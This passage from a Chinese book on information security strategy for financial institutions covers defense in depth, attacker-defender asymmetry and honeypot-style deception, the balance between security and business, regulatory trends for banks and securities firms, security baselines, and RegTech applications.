在典型的入侵案例场景中，攻击者利用Web应用漏洞，获得低权限WebShell，然后通过低权限的WebShell上传更多文件，并尝试执行更高权限的系统命令，进一步在服务器上提权，再横向渗透，获得更多内网权限。在这个典型的攻击路径中，如果在任何一个环节设置有效的安全检测和防御措施，攻击都可能被检测和阻止。

因此，在安全防护技术没有革命性发展的当下，企业必须坚持纵深防御原则，从网络层、虚拟层、系统层、应用层，到数据层、用户层、业务层、总控层，进行层层防御，共同组成整个防御体系。这是信息安全的第二个原则。


3.非对称


对于攻击者来说，只要能够找到企业系统的一个弱点，就可以达到入侵系统的目的，而对于企业信息安全人员来说，必须找到系统的所有弱点，不能有遗漏，不能有滞后，才能保证系统不会出现问题。这种非对称性导致攻击者和安全人员的思维方式不同，也是企业信息安全工作难做的根本原因，因为破坏比建设要容易。战争中发明的各种反舰、巡航导弹、潜艇属于非对称作战武器。

该怎么扭转这种劣势呢？答案就是，安全防护人员也需要非对称思维。

那么，在信息安全领域，应该发展哪些非对称的安全防护“武器”呢？在这种情境下，各种“蜜”的产品应运而生了，蜜网站、蜜域名、蜜数据库、蜜表、蜜字段、蜜数据、蜜文件……如果企业在面对攻击时进行安全反制，恶意攻击者就很难全身而退。据我所知，很多企业已经进行了商业化大规模部署，并在实际对抗中取得不错的效果，这应该是未来安全防护发展的一个有益方向。

认识到非对称，并找到解决非对称问题的方法，这是信息安全的第三个原则。




1.3　安全世界观



对于信息安全人员来说，最重要的是建立“安全世界观”，即解决安全问题的思路，以及看待安全问题的角度和高度，而不是具体掌握了多少漏洞，拿下了多少权限，或者发现了多少风险。不同的企业、不同的安全人员，一定会有不同的安全世界观。笔者的安全世界观是：信息安全就是博弈和对抗，是一场人与人之间的战争。交战双方所争夺的是对信息资产的控制权，谁能够在博弈和对抗中牢牢地把控住各类信息资产的控制权，谁就取得了胜利。




1.4　正确处理几个关系



企业信息安全建设过程中，需要正确处理以下几种关系：

·科学与技术

·管理与技术

·业务与安全

·甲方和乙方


1.科学与技术


科学讲究严谨，艺术讲究美感。安全既是一门科学，也是一门艺术。

安全的科学性，体现在无论是安全体系还是具体安全措施，其落地都是严谨和严肃的。在企业安全建设中，有的开发和运维同事觉得在内网就安全了，已经拒敌于门外了，从而放松了安全要求，但实际中攻击者通过一些边缘攻击进入内网，从而进一步渗透入内部服务器的案例比比皆是。因此必须全面、整体、综合性地考虑安全，并且认真、踏实、谨慎地落地实施。

安全的艺术性，体现在安全工作的权变，不是所有情况都适用同样的安全要求，需要不断地权衡利弊，选择当前情况下的最优。比如，服务器安全基线根据所处安全域的不同有不同的基线标准，漏洞跟踪处理时，安全部门通过补偿措施降低风险，从而允许一些业务系统带病上线，这都是权变的体现。


2.管理与技术


安全管理与安全技术孰轻孰重？有的企业拼命搞ISO27001安全体系，发布各种安全制度政策，实施各种安全流程控制，做各种安全审计和检查，搞得民怨沸腾，往往效果也不好。从事漏洞挖掘和攻防的人会觉得搞安全管理的人太虚，这也不会，那也不会，每天就是搞体系制度流程，能挡住我一个0day吗？会挖洞和写PoC吗？反过来，安全管理的人会觉得漏洞挖掘和攻防都是具体的工作，没有良好的组织架构、制度流程、意识培训等安全治理体系，“人”这个最重要的要素，可能会让所有的安全技术防范措施形同虚设，甚至毁于一旦。

其实，安全管理和安全技术更像是灯芯与灯油的关系，谁也离不开谁。管理和技术，必须“两手抓、两手都要硬”。

首先，从安全管理的角度看，安全政策和流程如果没有技术和自动化手段保障，无法有效落地，而脱离安全技术的安全政策和流程也有可能失效，例如，管理10台和10 000台服务器，用同样的安全政策和流程肯定是行不通的。

其次，从安全技术的角度看，没有管理的辅助，可能会变成“为了技术而技术”的“自嗨”，例如，在企业安全建设中，困难不在技术上，至少技术不是最重要的点，而是需要不断地去说服并影响开发运维和业务部门的同事，如果技术人员能跳出技术思维，站在更高层面去思考安全问题解决方案，安全人员的境界就提高了好几层。


3.业务与安全


这个话题非常有意思。刚工作时，我认为安全是为业务服务的，但安全会一定程度地阻碍业务发展。随着认识加深，我的认知发生了一些变化—安全是为业务服务的，安全更是业务的属性之一，不安全或没有安全考虑的业务就像不合格的产品一样，终究是要被市场淘汰的。

本质上，安全是一项服务，安全服务是安全团队提供给用户和客户的一种服务类别。如果在设计安全方案和安全要求时没有最大化这种服务的价值，那么在充分竞争的情况下，安全团队也是要被市场淘汰的。我经常问自己和团队，如果公司不是只有我们一支安全团队，我们安全团队在公司范围内不是垄断的，而是其他安全团队也提供安全服务，在共同竞争的情况下，我们提供的安全服务还能被用户认可买单吗？只要答案为“否”，就说明安全团队还有提升的空间。

传统观念认为，安全总是这也不能做、那也要控制，安全就是拖业务的后腿，安全总是降低业务发展效率，在企业中安全往往也被做成了这个样子。造成这种现状，企业安全主管首先要反思。这是因为安全团队设计安全方案和要求时，不是以业务和服务为出发点，而是以安全团队省时省事、尽量少承担责任为出发点。后者设计出的安全方案当然是阻碍业务发展、降低效率。但如果一套安全方案和要求，能够在降低甚至不降低业务发展的情况下还能保障安全，业务团队和开发运维当然是欢迎的，毕竟谁都不愿意冒着巨大的风险强行上线新的业务。

如果安全团队能和业务、开发运维一起剖析，站在对方立场设计方案和执行要求，用户从心里一定是会认可安全团队和安全服务的。很多企业的实践证明，坚持安全服务的做法，会让安全团队之路走得更为顺畅。


4.甲方与乙方


乙方是指给企业（甲方）提供安全产品和服务的一方，包括安全产品原厂、代理商、集成商和外包公司等。甲方和乙方的关系也可理解为灯芯和灯油的关系，谁离开谁都会失败。有好的灯芯和灯油，也会有差的灯芯和灯油，关键在于各守本分，各尽其责。

企业中较为常见的场景是，乙方老板说，贵公司是我们的大客户，我们一定会服务好。乙方销售则在旁边配合，我们的产品和服务是最好的，用我们的绝对不会有问题。但一旦甲方稍微追问一句，贵公司打算怎么服务好我们？你们的产品和服务相比竞争对手好在哪里？你们了解我们的实际问题和需求吗？基本上90%的乙方就接不上话了。更有甚者，个别老板和销售的回答令人啼笑皆非，我们的产品和服务就是最好的，不用你们会后悔的。有风度的甲方此时往往还需要心情平静地答复，你们的产品和服务我都了解了，挺不错的，希望有机会合作。但内心简直是崩溃的。

另一方面，也听到较多的乙方抱怨甲方，主管啥也不懂，就知道不能出事，出事背锅；安全人员啥也不会，只知道指挥我们干活，把我们工程师不当人用。乙方眼里90%的甲方都是这个印象。

笔者无意为任何一方辩护，包括作为甲方的自己。因为甲乙双方都是站在自己的立场处理问题，无可厚非。但甲方和乙方都需要检讨：

甲方，应该对自己承担的职责负责，不管用什么方法，结果是必须搞定安全问题，但要能识别什么是能搞定的方案，以及哪些是方案中靠谱一员的乙方。和乙方的关系挺简单，如果乙方能为甲方创造安全价值，那给乙方匹配等量的安全回报，继续长期合作；否则对不起，多听一秒都是浪费生命。

乙方，应该是对自己的承诺负责，要了解你的客户，不是签单成功就万事大吉。合同落地才是刚刚开始，在甲方的辨识能力和社会口碑传播效应越来越强的今天，做一锤子买卖只能让自己的路越走越窄。谁都不傻，不是吗？




1.5　安全趋势



未来已来，如果只着眼于当下的安全，很可能疲于奔命，被超越或抛弃。因此，必须看到安全的趋势方能提早布局，确保立于不败之地。


1.安全度量


安全度量是指如何衡量企业安全的效果。做安全的人遇到的最大挑战就是讲不清楚安全的价值。安全这个东西很微妙，不像业务可以用销售额和用户数来衡量，也不像运维可以用可用性指标（比如故障数）来衡量，也不像研发可以用bug数、项目完成率、扩展性、专利等来衡量。安全往往是事件性的，很可能你什么都不做，但一年都不出问题；也可能你花了很大力气，花了很多钱，却还是问题频出。所以我们很难用单一的事件性指标来衡量数据安全做得好还是不好。

企业做安全，最终还是要对结果负责，对于安全效果，有两个最关键的核心指标：一个是漏洞数，一个是安全事件数。这两个关键安全指标，却没有一个安全厂商愿意承诺，他们通常都只愿意承诺卖出设备的功能效果，或者服务的响应时间。由于漏洞数涉及企业发现能力，每年第三方漏洞报告平台（如补天或CNCERT）上，漏洞数量排前十的大多是互联网公司，但不能因此认为互联网公司安全能力靠后，相反，由于互联网公司面临安全威胁且自身发现能力（各种SRC虽然是白帽提交的安全漏洞，但可以理解为自身发现能力提高导致）较强，所以发现的漏洞数量靠前。很多没有爆出安全漏洞的企业不是因为做得有多好，而是自身发现能力不够。

在这种情况下，有必要把漏洞数分成两类：一类是通过众测与SRC获得的外部上报漏洞数量，一类是通过自身安全防护和检测发现的安全漏洞数量。某些金融机构已引入专业的蓝军团队进行攻防，检测红军安全防护和安全检测能力，将是未来安全度量的发展趋势。

安全事件数的情况和漏洞数大体相同，不同点是，安全事件数没有第三方报告平台，数据主要来自于监管通报等被动暴露以及主动发现，数据统计要更难一些。


2.历史问题免疫


运维管理目前事实上的标准是ISO20000服务管理体系，这套体系也称为ITIL运维流程管理，ITIL众多流程中有个核心流程—问题管理。问题管理有个有意思的做法，通过问题管理的思维模式，对企业所有曾经出现过的历史故障进行举一反三的持续改进，从而实现对历史故障免疫。

既然安全性要当作可用性来运维，那么安全管理也应该能做到对历史问题免疫，而这也应该成为安全未来趋势之一。笔者理解历史问题免疫有两个含义：一是对企业曾经出过的安全漏洞和安全事件做举一反三的彻底整改，从人、技术、流程、资源四个维度分析问题产生根源，查找差距，并建立机制进行防护，从而根本上解决已出现的安全问题，实现历史安全问题免疫。二是对已部署的安全措施的有效性做100%确认，比如已经部署了防病毒客户端，那么就一定要关注防病毒客户端安装率、正常率两个指标，这两个指标能做到99.99%的应该算执行力和安全有效性不错的企业了。类似的指标也同样应该在已部署的安全措施中得到确认。严格来说，历史问题免疫这一点其实不能算安全趋势，而应该是常识，在各种安全概念层出不穷的今天，希望越来越多的甲乙方能回归常识。


3.安全成为属性


越来越多的企业重视信息安全，这种重视可能是主动的，但仍然被动居多。不管怎样，今天的安全人员面对的安全环境越来越恶化，但得到的资源和支持却比任何时候都多，这一点体现在：安全将成为各类系统甚至人才的关键属性之一。举个例子，十年前，很少看到系统需求阶段就会有安全需求，测试阶段有安全测试，开发人员需要接受专业的安全编码开发规范培训。十年后，这些都很常见了，甚至是标配（默认）。对安全知识和技能的掌握也从单纯安全人员必备变成了开发人员的必备技能，实际上，安全意识和安全开发能力较强的开发人员，薪酬水平和发展空间已高于技能单一的程序员。程序员在用代码改变世界的同时，也有义务更好地保护世界。安全将成为越来越多的需求品，成为非专业安全人员的一种标配属性，这将是安全发展趋势之一。


4.安全人才缺口增大


安全人才缺口越来越大，想必各企业的安全主管或者CSO都深有体会。甚至越来越多的甲方企业，会要求乙方建立专门服务于本企业的专业安全队伍。从市场经济的角度看，需求增大，必将导致更多的优秀人才投身于安全行业，这对原有安全人员也必将是个挑战。安全行业是典型“活到老、学到老”的行业，逆水行舟，不进则退，各位安全人士一定感同身受。




1.6　小结



本章从宏观角度对安全的本质、安全原则、安全世界观和安全趋势进行了探讨，指明了做好安全工作的大方向。




第2章　金融行业的信息安全



金融行业是强监管的行业，是涉及业务敏感数据极多的行业，是高度依赖信息化的行业，也是信息安全风险形势极为严峻的行业。因此，金融行业的信息安全工作有着不同于其他行业的显著特点。




2.1　金融行业信息安全态势



金融机构最初的信息安全工作，大都是以达成金融行业的监管要求作为主要和基础的目标，如银行业信息科技部门会围绕《商业银行信息科技风险管理指引》来构建安全组织架构，形成安全管理制度和流程，建立安全检查、风险评估和整改机制，这时候的信息安全从业人员大多处于“管理流派”。2010年前后说起信息安全，业内人士开口闭口就是防病毒、“IPS/IDS”“WAF”“DLP”等，“设备流派”占据主流；而最近几年说到信息安全，不说些安全态势感知、安全大数据分析、人工智能等概念，就明显落伍了，“数据流派”俨然引领潮流。

但是，不管是“管理流派”“设备流派”还是“数据流派”，金融行业的信息安全人员都清醒地知道，监管要求越来越严格，信息安全形势越来越严峻，攻击技术手段越来越进化。金融企业需要清楚分析面临的监管要求、外部形势和内部需求，然后针对性地制订安全战略规划、安全管理和技术架构，进而在安全管理和安全技术方面落地实施，方可立于不败之地。


1.金融行业信息科技监管趋势


金融行业业务已经高度信息化、自动化、流程化，向客户提供的所有服务和日常运营基本都依赖信息系统开展。金融行业信息科技从业者们很明显的一点感受就是，无论内外部审计还是监管检查，无论检查重点是针对哪一类的金融业务，信息科技都是配合部门之一。另一方面，金融行业的业务战略都需要信息科技战略的支撑，业务目标最后都可能转化为对信息科技工作的需求。

金融行业信息科技风险具有影响范围广、破坏性大、突发性强、资金损失风险高等特点，信息科技风险作为唯一可能导致全部金融业务瞬间瘫痪的风险，一直是金融行业监管的重点和难点。因此，金融行业的监管部门逐年加大了信息科技风险监管的力度。针对银行业金融机构，2009年中国银监会印发《商业银行信息科技风险管理指引》，奠定了银行业信息科技风险监管的基础，此后几年陆续印发《商业银行数据中心监管指引》《商业银行业务连续性监管指引》《银行业金融机构信息科技外包风险监管指引》等各领域的监管制度；针对证券、期货等行业，陆续出台《证券期货业信息安全保障管理办法》《证券公司信息技术管理规范》《证券期货业信息系统运维管理规范》等监管要求；针对其他金融行业，也或多或少有专门针对信息科技的监管要求。

从各类监管要求来看，信息科技监管有这样几个趋势：

·监管机构越来越重视信息科技治理，强调和重视董事会、监事会和高管层的履职情况。秉承“实质重于形式”的原则，董、监、高的履职已经不能仅限于参与几次会议、做出几项决策，而是要看信息安全风险控制的实际效果。如果信息科技管理工作或信息科技风险管理有重大缺失，就是履职不力的表现。

·监管重点从“管理为主”往“管理和技术并举”方向发展，或是要求“人防补技防”，或是要求“技防补人防”，总之“两手抓、两手都要硬”。监管的现场检查、风险提示等，都已经从组织架构、制度建设、流程机制等管理层面，延展到业务流程设计、企业技术架构、系统逻辑设计等具体和实质的技术控制和实现层面。

·对于信息科技部门职责的规定和约束，逐渐精细化、具体化、层次化，信息科技风险防控要求涵盖信息科技工作的方方面面。

·信息科技风险管控不仅是信息科技部门的责任，还要求全行风险管理部门、内控合规部门、稽核审计部门都参与其中，各司其职，存在制约、促进的关系。

·信息科技风险管控与业务密不可分，业务逻辑风险控制、业务需求匹配度和业务功能满足度、业务效益后评价、业务外包中的信息科技活动等，都延伸至业务部门。

·信息安全意识培训和教育，要求针对全员开展，提升全员意识，突破了信息科技人员的范畴。

·监管手段逐渐向技术化发展。除了在监管指引上逐步完善之外，非现场监管数据化、现场检查工具化的趋势较为明显，监管科技的发展已经从初露端倪到如火如荼。


2.金融行业面临的外部信息安全态势


由于金融行业的服务几乎与每个人日常工作和生活息息相关，处理的业务关乎每个人的钱袋子，服务结果又要求必须实时和高度准确，因此，面临的外部信息安全态势也是在各行各业中最为复杂和严峻的。以下主要分析金融企业几个重要的利益相关者：客户、合作机构以及外部攻击者的信息安全态势。

（1）客户方面

随着移动互联网的发展和金融科技的演化，金融企业的客户越来越少地接触实体门店，取而代之的是电子渠道，客户更多以互联网作为触点来使用金融企业的服务。

但是客户在享受互联网便利性的同时，也承担着互联网带来的风险，因此近年来由于客户信息安全意识不强导致的金融行业风险事件屡见不鲜，例如，由于客户受到不良诱导、客户对银行卡等介质保管不善、客户自身信息泄漏、客户口令设置脆弱（如弱口令、不同场景单一口令等）等导致的风险事件，各种各样的电信诈骗事件、钓鱼网站事件也持续不断地出现。客户信息安全意识教育成为金融行业亟待深化开展的重点工作。

（2）外部合作商方面

金融行业的服务提供需要大量的外部合作商，既包括业务合作方，也包括外包供应商。合作商的信息安全管理不善、员工主动泄密等，对金融行业的信息安全也形成一定的威胁。2015年电视台曝光了某金融机构客户信息泄露导致资金损失的事件，事后内部调查发现，原因是负责卡片寄送的合作机构员工有心收集并贩卖客户信息。外部合作商虽然引入了一定的信息安全威胁，但不能因噎废食，需要通过合作协议约束、信息交换最小化限制、技术防范等方式，尽可能降低合作的风险。

（3）攻击者方面

伴随着金融业务全球化、移动互联网和金融科技的发展，虎视眈眈的攻击者们也在随之转换方法和重点，对金融机构的攻击数量和质量持续提高。

从近年来发生的大型攻击事件看，攻击既针对金融企业的基础设施和员工，也针对其外包商或客户；既针对ATM、SWIFT、电子银行等传统系统，也针对社交媒体、区块链、云计算等新兴技术；既针对金融行业的服务器，也针对终端设备。概括来说，攻击重点与时俱进，攻击手段变化多端，攻击目标无孔不入，给金融行业信息安全带来了巨大的威胁和挑战。“打铁还需自身硬”，金融企业本身就是具有经营风险的企业，外部攻击是必须面对和解决的问题，强身健体、见招拆招，方为正道。


3.金融行业内在的信息安全管理需求


在监管要求日益提高、外部安全态势日益复杂的情况下，金融企业基于自身的业务发展和安全需要，也会提出大量的信息安全管理要求。

金融行业的信息安全管理有着不同于其他行业的特点，最主要的几个特点如下：

·金融行业整体信息化程度高，而且未来趋势是进一步的数字化、智能化，这就意味着被攻击的风险点增多，薄弱环节增加，脆弱性增大，遭受攻击的可能性上升。

·金融服务实时性和准确性要求高，对于信息安全问题的容忍度低，出现问题后社会影响大，舆论压力大。

·金融行业直接处理对象为资金，敏感信息价值高，对于攻击者来说获利性大，铤而走险的动机强烈。

·金融行业积极应用新技术，但信息安全防控往往滞后于新技术应用，导致面临的新风险无法得到及时有效的控制。

因此，金融企业的信息安全工作要求也会高于其他行业，在深度和广度上都必须兼顾，需要从组织架构、制度流程、团队能力、安全意识、外包管理、安全技术等各方面，统筹做好规划和落地实施，方可满足自身的需要。




2.2　金融行业信息安全目标



正如“一千个人心中有一千个哈姆雷特”，金融行业的信息安全从业人员，对于金融企业信息安全工作目标的理解也都是不尽相同的。因为金融企业的信息安全工作是保障性工作，是为金融企业的战略、业务、科技开发和运维等工作服务的，所以信息安全目标也与本企业上述工作的目标和定位高度相关。

但是，对于所有金融企业来说，必须建立和保证信息安全的核心目标和安全基线，在此基础上，可以根据金融企业的战略方向、风险偏好、管理要求进行量体裁衣，做出选择和调整。


1.确立信息安全的核心目标


从务虚的角度来说，金融企业信息安全工作的核心目标是，通过信息安全建设和管理，有效控制和防范信息安全风险，提高信息安全保障能力和水平，确保金融企业及客户的信息及资金安全。从务实的角度来说，金融企业信息安全工作的核心目标是两个“两手抓”：一是“一手抓安全合规，一手抓风险控制”；二是“一手抓安全管理，一手抓安全技术”。


2.明确信息安全基线


要实现金融企业信息安全工作的核心目标，从具体操作层面上来说，必须明确信息安全工作的范围，在信息安全工作的各个领域建立信息安全工作基线，同时采取措施确保安全基线的达成。

所谓信息安全基线，就是信息系统最基本要满足的安全要求，是最小限度的安全保证。安全基线主要分为安全管理基线和安全技术基线。


安全管理基线
 主要包括安全组织、安全制度、人力资源安全等：

·安全组织方面包括确定金融企业的安全组织架构（决策层、管理层和执行层，以及合规、风险、审计等机构）、汇报路线、职责分工、日常工作机制等。

·安全制度方面包括确定制度的体系框架和制度层级等，制度必须完整覆盖信息科技工作的全生命周期和科技管理等保障工作，制度必须与法律法规、行业标准和监管要求等保持一致，制度之间必须满足“MECE（相互独立、完全穷尽）”法则等。

·人力资源安全方面包括在人员任用前、中、后的基本安全管理要求，例如，任用前的筛选、背景调查、安全职责确定和岗前培训等，任用中的各项权限分配、安全检查和奖罚制度等，以及任用终止前的权限冻结或取消等。


安全技术基线
 主要包括机房、网络、系统、应用、终端、数据的安全：

·机房安全基线主要规定机房物理选址、基础设施相关设备、风火水电、环境监控、访问控制等方面的基本要求。

·网络安全基线主要规定网络结构安全、边界安全、网络设备安全、入侵防范、访问控制、安全审计等方面的基本要求。

·系统安全基线主要规定系统配置、服务安全、操作系统访问权限、协议管理、系统日志审计等方面的基本要求。

·应用安全基线主要规定身份鉴别、抗抵赖性、资源控制、应用系统访问控制、应用日志审计等方面的基本要求。

·终端安全基线主要规定设备管理、软件管理、用户管理、终端网络隔离、自助终端管理等方面的基本要求。

·数据安全基线主要规定数据保密性、数据完整性、数据可用性、数据访问安全、数据备份和恢复等方面的基本要求。




2.3　信息安全与业务的关系：矛盾与共赢



金融行业的信息安全与业务的关系，在某些时候可能是最能融合的，因为金融业务必须重视风险，否则业务成果可能付之一炬；但某些时候又可能是矛盾最大的，因为信息安全对业务必定会有一定的影响和制衡。所以，简单说，信息安全与业务是矛盾、是一致还是共赢？可能都不恰当，准确说，应该尽可能化解矛盾，取得最大公约数的一致，最终才能实现共赢。


1.信息安全与业务的矛盾性


信息安全与业务的矛盾，多数体现在业务流程的设计方面。业务部门是必须考虑客户体验的，因此处理步骤越便捷、验证过程越简单越好。但是从信息安全的角度，有些必要的风险控制措施又不能简化。

例如，商业银行的II、III类电子账户的开设就是一个很典型的例子。从客户体验和便利性角度，开户信息及验证步骤越少越好，但是从信息安全角度，需要客户提供更多的个人信息，通过人脸识别、短信验证等步骤，才可以在客户不跟银行人员面对面接触的情况下，正确核验客户身份，确保客户开户意愿的真实性，既能保护客户不被假冒开户，也能够防止客户抵赖。

客户转账或支付是第二个典型的例子。为了给客户更便捷的体验，有些金融企业采用一个认证因素（例如静态密码、指纹等）即可完成转账或支付类交易，但这会给某些攻击者可乘之机，因为静态密码很容易通过撞库等攻击方式获取，而客户指纹信息也可以被复制。因此从信息安全的角度，必须采用两种以上不同类别的认证因素，方可完成转账或支付这类对客户账户余额有改变的“动账”类交易，但这样显然会影响到客户体验。


2.信息安全与业务的一致性


金融行业的业务，可以说都是与风险相关的，高收益的背后往往是以承受的高风险为代价，所以开展业务的同时，必须尽可能采取措施使得风险最小化，这一点跟信息安全管理目标是一致的。

信息安全与业务的一致性，体现在事前预防、事中拦截、事后告警等方面。例如，通过业务风控系统的建设，可以实现以下目标：

·事前预防。在客户身份验证的同时，通过预先设立的黑名单，与客户身份证、手机号等进行匹配，对于命中的直接拒绝开户或交易；在信贷审批之前，运行风险模型，对于符合高风险特征的不予审批通过。

·事中拦截。通过预先建立的风控规则，与客户开户或交易行为进行比对，对于符合风险模型的（如同一个IP地址短时间内集中开户或交易，同一个手机号同时开立多个账户等）进行交易拦截。

·事后告警。通过设立告警规则，提供告警信息，出具风险报表，提供给业务部门进行处理；在信贷放款后对客户信息持续跟踪，对于可能出现还款风险的客户提前采取措施。


3.信息安全与业务的共赢


要实现信息安全与业务的共赢，首要的就是双方先改变心态，停止争执，朝着一个目标方向努力，争取最大公约数，取得风险和效益的平衡。具体来说，常见的兼顾风险和效益的方式包括：

·风险分类。信息安全人员和业务人员要一起对风险进行分类分级，根据风险的大小及发生频率，优先化解高风险或者高频交易风险；同时调研了解同业采用的方式，学习同业经验，寻找是否有更好的风险管控措施。

·“前轻后重”。所谓“前轻”，就是对于直接提供客户体验的前端来说，在满足监管要求的前提下，设计尽可能简单的规则，例如客户信息遵循“必须知道、最小原则”，身份验证方式遵循“够用就好原则”。但这个必须与强大的后台相配套，也就是说，后台的风控必须到位（即“后重”），要有黑名单或灰名单客户，要有风险监测模型，要有紧急情况下一键关停规避风险的功能，否则就会留下巨大的风险缺口。

·客户风险等级分类。对于金融企业的客户，要有分类分级管控的技术方案，通过运行一定规则对客户进行分类，对于风险等级为“低”的“白名单”客户，身份验证措施可以非常简单，保证客户的良好体验；对于风险等级为“中”的客户，可以多增加一个身份验证措施；对于风险等级为“高”的客户，可以直接要求面核面签；对于有过不良记录的“黑名单”客户，可以直接拒绝服务。

·额度管控。从交易金额的角度控制，针对不同的金额设置不同的安全管控措施。例如，对于小额的交易，可以采用免密免签或者简单验证因素的方式；对于大额的交易，必须使用数字证书或者动态令牌、U盾等方式验证身份；对于其他交易，可以采用静态密码+短信动态验证码/指纹/人脸识别等双因素验证身份。




2.4　信息安全与监管的关系：约束与保护



长期以来，金融行业的信息安全工作都是在较强的监管形势下开展。很多金融企业的信息安全工作框架，就是遵循着监管的要求一步步搭建起来的。而金融行业的监管要求，也往往会根据金融行业发生的风险事件而不断补充完善。

金融企业需要正确认识监管要求对工作的推动作用，认真学习和理解监管要求，深入领会监管要求的实质，从而建立起科学合理的信息安全管理和技术框架。


1.信息安全监管的约束


金融行业信息安全相关监管要求，对于金融企业首先是约束。

所有信息安全工作需要在监管要求的框架下开展，需要遵循各个方面监管要求的细节规定，需要针对监管要求和风险提示展开对标、风险排查和整改，需要随时接受监管机构现场和非现场的检查，需要认真落实监管下达的风险监测报表、自查报告等各项要求。

对于监管规定的重点工作、例行工作等，必须落实到金融企业内部工作计划中；对于监管规定的管理要求，必须落实到金融企业的组织机构、制度建设、团队建设等各项工作任务中，建立长效工作机制；对于监管下达的技术标准，必须落实到金融企业的信息系统建设、运维监控建设或者信息安全技术防控工作中。

金融企业内部要成立专门的信息安全工作团队，负责确保监管要求在金融企业严格落实到位，确保信息安全工作“治标又治本”，确保信息安全管理和技术防控的实际效果，确保日常的信息安全检查、评估和整改机制能有效地发挥风险控制作用。


2.信息安全监管的保护


同时，金融企业必须认识到监管要求对自己的保护作用。

信息安全监管要求是监管机构基于国家信息安全防控总体策略、国内外信息安全形势、监管机构自身的前瞻眼光和管理思路、金融行业已经发生的风险事件相关经验教训，经过归纳、总结、提炼出的纲领性、全局性要求，从战略高度和战术细度，提出了诸多具有很高实操性、实用价值的条款，从某种意义上说，对于金融企业形成了保护。

首先，对于很多金融企业特别是信息安全建设处于初级阶段的金融企业来说，学透了监管要求，就能把握最关键的信息安全风险，搭建起基本的信息安全防控框架，建立起组织架构和制度，使技术安全防控有章可循，也就有更好的风险防控效果。

其次，监管要求中隐含了很多其他金融企业贡献的知识和技能，实际上是一种行业经验的积累、沉淀和传承。对于信息安全基础薄弱的金融机构来说，这是一种快速获取同业经验的方式。例如，监管机构历次发布的信息安全风险提示和风险事件案例，实际上就是很好的“教科书”，让风险处置经验不足的金融企业可以提前排查类似风险隐患，防患于未然；而当实际发生风险事件时，这些内容又可以成为“知识库”，从中先去搜索类似案例，寻求最快的解决方案。

最后，当风险和收益发生冲突时，遵循监管要求的底线，是信息安全人员判断是否可以给业务“让步”的重要参照，也是信息安全人员有底气说“不”的有力支撑。




2.5　监管科技



随着金融行业信息技术的蓬勃发展，特别是金融科技的广泛应用，监管机构的监管方式也不断创新，监管科技几乎是伴随着金融科技的诞生应运而生的。美国、英国作为金融科技的先行者，在监管科技这一分支领域的发展也是最早最快的，其经验值得借鉴。中国的金融科技发展迅猛，监管科技领域也在逐步发展。

国内外不同机构对于监管科技的定义基本达成共识，即“通过科技手段，服务监管需求，提高监管效率”。2017年中国人民银行金融科技委员会成立，旨在加强金融科技工作的研究规划和统筹协调，其工作职责之一是“强化监管科技（Regulatory Technology，RegTech）应用实践，积极利用大数据、人工智能、云计算等技术丰富金融监管手段，提升跨行业、跨市场交叉性金融风险的甄别、防范和化解能力”。

监管科技的目的一方面是控制风险，确保合规；另一方面则是保护创新，引导新技术在金融领域的正确使用。简而言之，就是要处理好安全与发展的关系，促进金融企业安全地创新，合规地发展。

监管科技的需求对象，既包括监管机构，也包括被监管的金融企业。对于监管机构来说，利用监管科技可以减轻监管压力，提高监管效率和水平；对于金融企业来说，利用监管科技可以快速应对监管要求，降低合规成本。可以说，在监管科技中，监管科技公司、金融企业及监管机构各司其职。

监管科技应用非常广泛，对于金融企业来说，主要应用领域包括：

·合规管理。将外部法律法规、行业规范、监管要求以及内部规章制度要求，转化为数字化的规则要求，为金融企业提供合规管理的平台和工具，实现数据自动收集、整理和精确分析，输出外部监管或内控合规相关的数据和报告。

·企业风险管理。例如，实现业务反欺诈、网址反欺诈、伪基站检测等风险监测和预警的自动化平台，以及信息安全风险评估、安全预警的自动化平台，帮助金融企业发现并预防诈骗、攻击等风险，并做好提前防范。

·税务管理。例如，提供纳税解决方案的系统，收集金融企业报税相关的各种数据，保存执行记录并协助完成税务管理机构所需的报告和数据，促进纳税工作的自动化和流程合规性。

·反洗钱。建立反洗钱数据采集、处理、分析平台，建立可疑交易的数据规则和模型，实现符合特征的账户和交易自动预警，帮助金融企业核查是否符合反洗钱相关规定，防止金融企业被卷入非法洗钱活动。

·交易监控。监控员工或客户异常行为，确保遵守贸易限制，限制客户进行未授权的交易活动等；对内幕交易、高频交易等进行智能化识别、关联账户识别，发现潜在交易风险等。

对于监管机构来说，监管科技的应用领域主要包括：

·金融企业日常监测。建立金融信息统计和监管信息系统，利用大数据、人工智能等技术对采集的金融企业数据进行综合分析，设置监管阈值对风险状况进行检测和预警，为有效识别和化解金融风险、整治金融乱象提供支撑。

·金融企业合规性分析。对法律法规、行业规范、监管政策等合规性要求的数字化提炼和表达，收集金融企业对应信息，通过比对合规性要求和金融企业的实际情况，对金融企业进行主动监管。

·甄别不法机构和行为。收集金融企业运行数据，对业务特征信息和行为数据进行动态分析和实时监测，有效掌控金融企业的业务模式和经营状态，识别违规和不当行为，快速甄别名为创新、实则欺诈的不法机构，识别和打击监管套利行为，保护金融消费者合法权益，实现金融行业可持续发展。

·发现行业性风险。搜集、分析金融行业的数据，结合互联网上的结构化和非结构化数据，横向实现监管信息跨国家和地区共享，纵向整合跨越时间段的历史信息，进行行业性的风险趋势分析，提前识别和预判行业性、区域性风险隐患，发现违规和不当行为，提升金融行业的风险协同处置能力。

·比特币/区块链风险防范。监管方和市场各方同时存在比特币/区块链上，监管方实时监控比特币/区块链上的异常交易，追踪非法交易的来源、客户账户状态和客户身份，并提供有价值的情报和风险分析报告。

在金融科技发展日新月异的新形势下，监管机构将大量运用监管科技手段，逐步实现与金融企业数据的实时、准实时在线对接，对金融企业开展及时、有效、可追溯性强、不可抵赖的监管，将风险识别和控制提前到事前、事中阶段，提高监管效率和能力。原有的依靠个人经验和金融企业报表报告的方式，由于耗费大量人力且侧重于事后监管，将作为辅助手段，专注于监管科技顶层规划设计、政策和标准制定，行业统筹协调等方面。未来的金融行业监管，将由监管专家与监管科技手段协同运作，以监管科技来应对金融科技所带来的风险隐患。




2.6　小结



本章对金融行业的信息安全特性、安全态势、面临主要问题、安全目标和安全基线进行了讲述，剖析了信息安全与业务、信息安全与监管的关系，并对监管科技的应用现状和趋势进行了简要分析。使读者可以直观地了解信息安全行业的概况。




第3章　安全规划



金融企业信息安全建设中，有一项最基本的东西—安全规划，准备不够充分，就会导致工作千头万绪但收效甚微，也会导致员工起早摸黑却碌碌无为。所谓“凡事预则立，不预则废”，有规划的信息安全，才能忙而不乱，事半功倍。




